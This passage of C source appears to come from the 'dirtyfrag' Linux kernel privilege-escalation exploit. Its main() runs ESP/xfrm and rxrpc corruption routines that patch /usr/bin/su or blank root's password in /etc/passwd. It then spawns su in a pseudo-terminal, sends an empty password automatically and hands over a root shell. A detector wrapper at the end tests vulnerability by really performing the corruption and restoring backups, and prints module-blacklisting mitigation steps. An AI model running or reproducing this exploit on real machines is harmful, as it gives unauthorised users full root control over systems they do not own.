(grantpt(master) < 0 || unlockpt(master) < 0) { 1959 close(master); 1960 return -1; 1961 } 1962 char *slave_name = ptsname(master); 1963 if (!slave_name) { 1964 close(master); 1965 return -1; 1966 } 1967 1968 struct winsize ws; 1969 if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) 1970 ioctl(master, TIOCSWINSZ, &ws); 1971 1972 pid_t pid = fork(); 1973 if (pid < 0) { 1974 close(master); 1975 return -1; 1976 } 1977 if (pid == 0) { 1978 setsid(); 1979 int slave = open(slave_name, O_RDWR); 1980 if (slave < 0) 1981 _exit(127); 1982 ioctl(slave, TIOCSCTTY, 0); 1983 dup2(slave, 0); 1984 dup2(slave, 1); 1985 dup2(slave, 2); 1986 if (slave > 2) 1987 close(slave); 1988 close(master); 1989 exec_su_login(); 1990 _exit(127); 1991 } 1992 1993 signal(SIGTTOU, SIG_IGN); 1994 signal(SIGTTIN, SIG_IGN); 1995 signal(SIGPIPE, SIG_IGN); 1996 signal(SIGHUP, SIG_IGN); 1997 (void)setpgid(0, 0); 1998 (void)tcsetpgrp(STDIN_FILENO, getpid()); 1999 2000 struct termios saved_termios; 2001 int restore_termios = 0; 2002 if (tcgetattr(STDIN_FILENO, &saved_termios) == 0) { 2003 struct termios raw = saved_termios; 2004 cfmakeraw(&raw); 2005 if (tcsetattr(STDIN_FILENO, TCSANOW, &raw) == 0) 2006 restore_termios = 1; 2007 } 2008 2009 int auto_pw_sent = 0; 2010 int stdin_eof = 0; 2011 int saw_master_output = 0; 2012 int total_ms = 0; 2013 char buf[4096]; 2014 2015 for (;;) { 2016 struct pollfd pfds[2] = { 2017 { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 }, 2018 { master, POLLIN, 0 }, 2019 }; 2020 int pr = poll(pfds, 2, 200); 2021 if (pr < 0 && errno != EINTR) 2022 break; 2023 total_ms += 200; 2024 2025 if (pfds[1].revents & POLLIN) { 2026 ssize_t n = read(master, buf, sizeof(buf)); 2027 if (n <= 0) 2028 break; 2029 saw_master_output = 1; 2030 (void)write(STDOUT_FILENO, buf, n); 2031 if (!auto_pw_sent && n < (ssize_t)sizeof(buf)) { 2032 buf[n] = 0; 2033 if (strstr(buf, "Password") || 2034 strstr(buf, "password")) { 2035 (void)write(master, "\n", 1); 2036 auto_pw_sent = 1; 2037 } 2038 } 2039 } 2040 if (!stdin_eof && (pfds[0].revents & POLLIN)) { 2041 ssize_t n = read(STDIN_FILENO, buf, sizeof(buf)); 2042 if (n <= 0) 2043 stdin_eof = 1; 2044 else 2045 (void)write(master, buf, n); 2046 } 2047 if (pfds[1].revents & (POLLHUP | POLLERR)) 2048 break; 2049 2050 if (!auto_pw_sent && !saw_master_output && total_ms >= 1500) { 2051 (void)write(master, "\n", 1); 2052 auto_pw_sent = 1; 2053 } 2054 2055 int status; 2056 pid_t w = waitpid(pid, &status, WNOHANG); 2057 if (w == pid) { 2058 for (int i = 0; i < 5; i++) { 2059 struct pollfd pf = { master, POLLIN, 0 }; 2060 if (poll(&pf, 1, 50) <= 0) 2061 break; 2062 ssize_t n = read(master, buf, sizeof(buf)); 2063 if (n <= 0) 2064 break; 2065 (void)write(STDOUT_FILENO, buf, n); 2066 } 2067 break; 2068 } 2069 } 2070 2071 if (restore_termios) 2072 tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios); 2073 close(master); 2074 return 0; 2075 } 2076 2077 int main(int argc, char **argv) 2078 { 2079 int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL); 2080 int force_esp = 0, force_rxrpc = 0; 2081 int saved_err = -1; 2082 int rc = 1; 2083 int new_argc; 2084 char **co_argv; 2085 2086 for (int i = 1; i < argc; i++) { 2087 if (!strcmp(argv[i], "--force-esp")) 2088 force_esp = 1; 2089 else if (!strcmp(argv[i], "--force-rxrpc")) 2090 force_rxrpc = 1; 2091 else if (!strcmp(argv[i], "-v") || 2092 !strcmp(argv[i], "--verbose")) 2093 verbose = 1; 2094 } 2095 2096 if (getuid() == 0) { 2097 execlp("/bin/bash", "bash", (char *)NULL); 2098 _exit(1); 2099 } 2100 2101 co_argv = append_corrupt_only(argc, argv, &new_argc); 2102 2103 if (!verbose) 2104 silence_stderr(&saved_err); 2105 2106 if (force_rxrpc) { 2107 rc = rxrpc_lpe_main(new_argc, co_argv); 2108 for (int i = 0; !passwd_already_patched() && i < 3; i++) 2109 rc = rxrpc_lpe_main(new_argc, co_argv); 2110 } else if (force_esp) { 2111 rc = su_lpe_main(new_argc, co_argv); 2112 } else { 2113 rc = su_lpe_main(new_argc, co_argv); 2114 if (!su_already_patched()) { 2115 rc = rxrpc_lpe_main(new_argc, co_argv); 2116 for (int i = 0; !passwd_already_patched() && i < 3; i++) 2117 rc = rxrpc_lpe_main(new_argc, co_argv); 2118 } 2119 } 2120 2121 int patched = either_target_patched(); 2122 2123 if (!verbose) 2124 restore_stderr(saved_err); 2125 2126 if (patched) { 2127 (void)run_root_pty(); 2128 return 0; 2129 } 2130 2131 dprintf(2, "dirtyfrag: failed (rc=%d)\n", rc); 2132 return rc ? rc : 1; 2133 } 2134 2135 #include "setup.h" 2136 2137 /* ---- detector plumbing ---- */ 2138 2139 static int detector_su_already_patched(void) { 2140 static const uint8_t marker[8] = { 2141 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, 2142 }; 2143 int fd = open("/usr/bin/su", O_RDONLY); 2144 if (fd < 0) return 0; 2145 uint8_t got[8]; 2146 ssize_t n = pread(fd, got, sizeof(got), 0x78); 2147 close(fd); 2148 if (n != sizeof(got)) return 0; 2149 return memcmp(got, marker, sizeof(got)) == 0; 2150 } 2151 2152 static int detector_passwd_already_patched(void) { 2153 int fd = open("/etc/passwd", O_RDONLY); 2154 if (fd < 0) return 0; 2155 char head[16]; 2156 ssize_t n = pread(fd, head, sizeof(head), 0); 2157 close(fd); 2158 if (n < 9) return 0; 2159 return memcmp(head, "root::0:0", 9) == 0; 2160 } 2161 2162 int detector_dirtyfrag(int num) { 2163 (void)num; 2164 2165 if (detector_su_already_patched() || detector_passwd_already_patched()) 2166 return 3; 2167 2168 /* Back up both artifacts before any corruption attempt. */ 2169 backup_su(); 2170 backup_passwd(); 2171 2172 { /* ESP / xfrm path */ 2173 char *argv[] = {"dirtyfrag", "--corrupt-only", NULL}; 2174 if (su_lpe_main(2, argv) == 0 && detector_su_already_patched()) { 2175 /* System is vulnerable — restore artifacts before returning. */ 2176 revert_su(); 2177 revert_passwd(); 2178 return 3; 2179 } 2180 revert_su(); 2181 } 2182 2183 { /* rxrpc / rxkad fallback */ 2184 setenv("DIRTYFRAG_CORRUPT_ONLY", "1", 1); 2185 char *argv[] = {"dirtyfrag", "--corrupt-only", NULL}; 2186 int rc = rxrpc_lpe_main(2, argv); 2187 unsetenv("DIRTYFRAG_CORRUPT_ONLY"); 2188 if (rc == 0 && detector_passwd_already_patched()) { 2189 /* System is vulnerable — restore artifacts before returning. */ 2190 revert_su(); 2191 revert_passwd(); 2192 return 3; 2193 } 2194 } 2195 2196 /* Restore any artifacts that may have been touched. */ 2197 revert_su(); 2198 revert_passwd(); 2199 2200 return 0; 2201 } 2202 2203 __attribute__((constructor)) void detector_dirtyfrag_setup(void) { 2204 detector_queue_append("dirtyfrag", 2205 "Dirty Frag (xfrm-ESP Page-Cache Write): " 2206 "Run the following to blacklist vulnerable modules:\n" 2207 " sh -c \"printf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\n" 2208 "install rxrpc /bin/false\\n' > /etc/modprobe.d/dirtyfrag.conf; " 2209 "rmmod esp4 esp6 rxrpc 2>/dev/null ; echo 3 > /proc/sys/vm/drop_caches; true\"\n" 2210 " Then update your kernel once distribution patches are available.", 2211 detector_dirtyfrag); 2212 }